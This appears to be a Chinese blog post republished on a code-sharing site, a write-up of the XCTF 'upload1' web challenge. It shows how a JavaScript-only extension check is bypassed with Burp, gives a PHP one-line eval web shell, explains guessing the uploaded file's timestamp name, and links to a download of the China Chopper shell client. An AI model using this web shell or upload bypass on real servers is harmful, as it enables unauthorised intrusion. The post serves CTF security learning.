码迷,mamicode.com
首页 > Web开发 > 详细

攻防世界WEB进阶之upload1

时间:2020-12-03 11:50:52      阅读:11      评论:0      收藏:0      [点我收藏+]

标签:关于   下载   操作   前端   有一个   unix时间   系统   部分   else   

攻防世界WEB进阶之upload1

 

一、分析

首先打开场景,上传文件进行抓包操作,发现存在部分js代码。
技术图片

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,‘‘);

if([‘jpg‘,‘png‘].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert(‘请选择一张图片文件上传!‘);
}

 

然而只是一个检查文件名的函数:ext = name.replace(/^.+./,’’)删除文件的名称
if([‘jpg’,‘png’].contains(ext)):检查后缀是否为jpg,如果不是就禁用按钮并弹窗报错。

上传png文件:
技术图片
访问上传的文件能够被打开:
技术图片

但是访问http://111.198.29.45:59162/upload/显示页面访问是被禁止的
技术图片
使用IP伪造:
技术图片
尝试失败

尝试一句话木马:<?php @eval($_POST[‘chopper‘]);?>
上传成功但是使用菜刀无法连接

尝试失败,我好难啊
技术图片

二、实操

其实之前使用中国菜刀没毛病的自己没有修改上传的文件的后缀导致文件上传上去为jpg格式可以连接
技术图片
后缀名成不正确是无法执行对应的语句的,所以需要绕过前端的文件后缀检查
通过burp抓包,将后缀名称修改为php即可
技术图片
文件文件上传完毕,怎么连接呢?首先我们应该知道对应上传文件在服务器的位置
系统自动生成了文件名,但实际上是有迹可循的,是使用unix时间戳+文件名的形式
我们刚开始上传的文件有一个反馈的文件名
技术图片
根据1570000745.s.jpg 文件名称,我们可以推测出修改文件后缀的文件名称通过加1的方式持续几次就能找到
技术图片
终于找到了,可以开始使用中国菜刀进行连接啦!
#关于中国菜刀的,我提供了一个版本,需要的童鞋自取下载链接是
https://download.csdn.net/download/harry_c/11423598
啦啦啦,连接成功了
技术图片

三、答案

最终我们终于找到了flag.php文件
技术图片
打开就是最终的flag
技术图片

攻防世界WEB进阶之upload1

标签:关于   下载   操作   前端   有一个   unix时间   系统   部分   else   

原文地址:https://www.cnblogs.com/LYD52199/p/14054846.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!